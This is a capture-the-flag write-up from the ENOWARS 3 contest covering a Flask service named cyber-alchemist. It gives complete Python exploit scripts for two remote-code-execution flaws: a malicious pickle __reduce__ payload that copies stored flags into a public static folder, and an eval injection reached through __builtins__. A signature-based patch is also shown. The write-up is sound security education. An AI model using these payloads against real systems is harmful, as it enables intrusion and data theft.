Saarsec

saarsec

Schwenk and pwn

ENOWARS 3 WriteUp cyber-alchemist.

Service Overview

The service itself was a python flask service. It has similar functionality as provided by CyberChef, i.e., manipulate strings with various encodings. Such manipulation is referred to as a recipe. Recipes contain the different steps which should be applied to the raw string, which is called an ingredient.

Flag Storage

Based on the received gameserver traffic, we learned that the flags were stored inside such recipes.

Flaws in the service

We managed to find two vulnerabilities in the service, one which we managed to exploit and another one which we could only verify on our system but not on the hosted infrastructure.

Flaw 1: Deserialization

from pickle import dump, dumps, load, loads  

Given this simple import statements, we were already intrigued and expected some form of deserialization vulnerability. Pickle is notoriously known to introduce an RCE when used with user-provided input.

file = request.files['recipe']
filename = file.filename
if not file or filename == '':
    return render_template('import_recipe.html', error='No recipe was uploaded.')
if '/' in filename or '.' not in filename:
    return render_template('import_recipe.html', error='The filename of the recipe is not valid.')
recipe_name, extension = tuple(filename.rsplit('.', 1))
if extension != app.config['RECIPE_EXTENSION'][1:]:
    return render_template('import_recipe.html', error='The extension of the recipe is not valid.')
try:
    recipe = load(file)
except Exception:
    session['banned'] = True
    return redirect(url_for('banned'))

Quickly searching for the usage of the load function hints us at the functionality for importing recipes and unveils a call of load to a file which we can directly upload to the Web application. The beginning of this routine merely checks the uploaded file name not to include slashes and ascertains a pattern of foo.recipe, which we will need to conform with when exploiting. Other than that, we find that load is called on the file which reads the content of given file and deserializes it. This means we can craft a serialized object that upon deserialization executes our code:

CMD = 'sleep 5'

class Exploit(object):
    def __reduce__(self):
        return os.system, (CMD,)

Now when pickle encounters an object which it does not know, i.e., a custom exploit class, it will try to get help from the developer to correctly deserialize the object. Using the __reduce__ function is one such indication, in which the return value of the reduce function will be used by pickle. More specifically, when there is a tuple returned, pickle will treat the first parameter as callable and the remaining (up to four) as arguments to the callable. Now this allows us to take os.system and pass it some command which we want to execute on a shell. Being able to execute arbitrary commands enables us to gather all the flags and exfiltrate them all at once. To exfiltrate the flags, we make use of the fact that the static folder is served directly, which allows us to create files containing all the flags and later on requesting those files separately.

#!/usr/bin/python
import requests
import string
import random
import pickle
import sys
import os


def randomstring(length=30):
    return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(length))


CMD = 'cat /app/recipes/* > %s'


class Exploit(object):
    def __reduce__(self):
        return os.system, (CMD,)


def exploit(target):
    s = requests.session()

    filename = '%s.%s' % (randomstring(16), randomstring(3))

    global CMD
    CMD = CMD % ('/app/static/' + filename,)

    files = {'recipe': (randomstring(8) + '.recipe', pickle.dumps(Exploit()))}
    r = s.post(target + 'recipes/import', files=files, timeout=10)
    if r.status_code < 400:
        flags = s.get(target + 'static/' + filename).text


if __name__ == '__main__':
    exploit(sys.argv[1])

Patching the vulnerability

Now patching the vulnerability would generally mean getting rid of pickle, e.g., making use of JSON, however, we wanted to do something fun and introduced signatures to validate that only exported recipes from us would be able to be imported again.

def foo_sign(data):
    key = RSA.importKey(open("cyber.pem", "r").read())
    signer = PKCS1_v1_5.new(key)
    digest = SHA256.new()
    digest.update(b64encode(data))
    signed = signer.sign(digest)

    return b64encode(signed)


def foo_verify(data, signature):
    key = RSA.importKey(open("cyber.pem", "r").read())
    signer = PKCS1_v1_5.new(key)
    digest = SHA256.new()
    digest.update(b64encode(data))
    result = signer.verify(digest, b64decode(signature))

    return result

Adding our signature to all exported files and later on validating the signature allows us only to accept recipes originating from us, thus no maliciously crafted serialized objects with the reduce function.

@app.route('/recipe/<recipe_name>/export', methods=['GET'])
@deny_banned
def export_recipe(recipe_name):
    filename = recipe_name + app.config['RECIPE_EXTENSION']
    recipe = Recipe.get(recipe_name)
    data = dumps(recipe)

    signature = foo_sign(data)
    real_data = signature + b'\n' + data
    response = make_response(real_data)

    response.headers.set('Content-Type', 'application/octet-stream')
    response.headers.set('Content-Disposition', 'attachment', filename=filename)
    return response


@app.route('/recipes/import', methods=['POST'])
@deny_banned
def import_recipe_action():
    ...
    try:
        content = file.read()
        sign, content = content.split(b'\n', 1)
        if not foo_verify(content, sign):
            return render_template('import_recipe.html', error='Go away.')
        recipe = loads(content)
    except Exception as e:
        session['banned'] = True
        return redirect(url_for('banned'))
     ...

Flaw 2: Eval in Python

Now the second exploit is one that we could confirm while running the server locally. However, our exploits did not work on the infrastructure used for hosting the machines, i.e., inside the docker. Essentially, the functionality used to add encoding/decoding functions to recipes performs a lookup of the function in the global variables to get a reference to it.

@app.route('/recipe/<recipe_name>/<ingredient>/<method>', methods=['GET'])
@deny_banned
def put_ingredient(recipe_name, ingredient, method):
    recipe = Recipe.get(recipe_name)
    recipe.ingredients.append(getattr(globals()[ingredient], method))
    recipe.save()
    return redirect(url_for('show_recipe', recipe_name=recipe_name))

In python there exists, besides the apparent developer created global objects, an object called __builtins__. This allows us to get a reference to pythons version of eval.

getattr(globals()['__builtins__'],'eval')

This function, once we assign it to a recipe, will pass the base string of the recipe to eval, thus, introducing yet another RCE into the service.

#!/usr/bin/python
import requests
import string
import random
import sys


def randomstring(length=30):
    return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(length))


def exploit(target):
    s = requests.session()
    target = "http://127.0.0.1:5000/"

    s.get(target, timeout=10)
    r = s.post(target + 'recipes/create', timeout=10)

    if r.status_code >= 400:
        return

    recipe_url = r.url

    CMD = 'sleep 5'

    r = s.post(recipe_url, data={'base_ingredient': '__import__("os").system("' + CMD + '")'})

    if r.status_code >= 400:
        return
    
    _ = s.get(recipe_url + '/__builtins__/eval')

    s.get(recipe_url)


if __name__ == '__main__':
    exploit(sys.argv[1])